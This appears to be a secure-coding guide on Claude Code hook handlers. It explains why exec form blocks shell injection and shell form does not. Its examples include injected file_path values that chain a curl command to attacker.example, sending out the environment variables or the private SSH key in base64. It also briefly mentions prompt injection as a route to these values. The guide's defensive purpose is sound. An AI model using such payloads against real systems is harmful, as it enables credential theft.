Hook Exec Form vs Shell Form: Shell-Injection-Safe Hook Commands¶
A hook's
argsspawns the command withexecve, not a shell, so substituted input cannot inject shell syntax. Reserve shell form for pipes and expansion.
The two forms¶
A Claude Code command-type hook handler executes in one of two forms, selected by the presence or absence of args:
| Form | Selected when | How the harness invokes it |
|---|---|---|
| Shell form | args absent |
Passes command to sh -c on macOS/Linux, Git Bash on Windows, or PowerShell. Shell tokenises, expands variables, and interprets pipes, &&, redirects, and globs. |
| Exec form | args present |
Resolves command on PATH and spawns it directly. Each args element becomes one argument verbatim. Special characters pass through because there is no shell to interpret them. |
The Claude Code changelog for v2.1.139 (2026-05-11) frames the benefit as quoting convenience. The larger consequence is that exec form neutralizes shell metacharacters as an attack surface.
The failure mode exec form closes¶
Hook handlers commonly substitute JSON payload fields — ${tool_input.file_path}, ${tool_input.command}, ${tool_response.output} — into command. The PostToolUse auto-formatting page shows the canonical pattern:
{
"type": "command",
"command": "FILE=$(jq -r '.tool_input.file_path') && npx prettier --write \"$FILE\""
}
If tool_input.file_path is foo.js"; curl https://attacker.example/$(env | base64); echo ", the shell parses it as three statements. Quoting only helps when the input contains no quote characters. The attacker-influenced input need not come from the user — a malicious tool result, a poisoned MCP response, or indirect prompt injection can produce a file_path the agent writes through Edit/Write, triggering the hook with attacker bytes.
The exec-form rewrite removes the failure mode at the syntax layer:
{
"type": "command",
"command": "npx",
"args": ["prettier", "--write", "${tool_input.file_path}"]
}
The harness substitutes ${tool_input.file_path} as a plain string into one argv slot. execve does not parse shell metacharacters — ;, |, $(), and backticks land as literal argument values. Per the OWASP OS Command Injection Defense Cheat Sheet, when command and arguments pass as separate array elements, chaining and redirection operators arrive as parameters, not syntax.
The cross-domain pattern¶
The exec/shell split is the same pattern in Dockerfile CMD, Kubernetes pod command:/args:, and the difference between Java's Runtime.exec(String) and ProcessBuilder. The safe form is always the one that bypasses shell parsing.
graph TD
A[Hook handler entry] --> B{args present?}
B -->|yes| C[execve command, argv]
B -->|no| D[sh -c command]
C --> E[Metacharacters inert]
D --> F[Shell parses metacharacters]
F --> G[Injection if input untrusted]
When shell form is still right¶
Exec form does not deprecate shell form. Three conditions justify keeping the shell:
- Pipes and redirects.
jq -r '.tool_input.file_path' | xargs npx prettier --writeneeds|. - Variable expansion or globs.
find src/ -name "*.ts" -newer "$LAST_RUN"needs glob expansion and$LAST_RUN; exec form would pass*.tsliterally. - Windows
.cmdand.batshims. The hooks reference notes exec form on Windows requires a real.exe; thenpm,npx, andeslintshims innode_modules/.binare not. Invoke the underlying script withnode—"command": "node", "args": ["${CLAUDE_PLUGIN_ROOT}/node_modules/eslint/bin/eslint.js"]— rather than fall back to shell form.
For the first two, wrap the shell logic in a scripts/ file and call it in exec form: "command": "scripts/format-changed.sh", "args": ["${tool_input.file_path}"]. The script receives attacker-influenceable input as a positional argument — a string, not a syntax fragment.
Decision rule¶
For any hook that substitutes hook input into a command:
- Default to exec form. Move every substituted value into
args. The harness substitutes${path}placeholders into bothcommandand eachargselement (hooks reference). - Switch to shell form only for shell features exec form cannot express, and only when no substituted field is attacker-influenceable.
- Wrap unavoidable shell features in a script invoked in exec form, passing hook fields as positional arguments.
The rule maps onto the lethal trifecta threat model: a hook running Bash-class code on substituted tool input is the egress leg. Closing the syntactic injection vector does not remove the principal's authority — it removes one mechanism by which untrusted content escalates that authority into arbitrary command execution.
Example¶
A PostToolUse hook that runs Prettier on every edited file.
Before — shell form, where a substituted path can break out:
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit|Write",
"hooks": [
{
"type": "command",
"command": "npx prettier --write \"${tool_input.file_path}\""
}
]
}
]
}
}
A file_path of a.js"; curl attacker.example/$(cat ~/.ssh/id_rsa | base64); echo " parses as three shell statements.
After — exec form, where metacharacters land in the argv slot:
{
"hooks": {
"PostToolUse": [
{
"matcher": "Edit|Write",
"hooks": [
{
"type": "command",
"command": "npx",
"args": ["prettier", "--write", "${tool_input.file_path}"]
}
]
}
]
}
}
Prettier receives the entire string as one filename argument and fails with ENOENT — the worst case becomes a failed format pass, not a credential exfiltration.
Key Takeaways¶
- Exec form (
args: string[]) spawns the command withexecve; the kernel does not parse shell syntax, so substituted hook input cannot inject commands. - Shell form is appropriate only when you need pipes, redirects, expansion, or globs — and only when no substituted field is attacker-influenceable.
- Wrap unavoidable shell features in a script under
scripts/, then call the script in exec form with hook fields as positional arguments. - The Windows
.cmd/.batshim caveat does not justify shell form — invoke the underlying script withnodedirectly in exec form. - Exec form is a syntactic mitigation, not a substitute for argument-value validation or allowlisting — it neutralises metacharacters, not malicious argument values.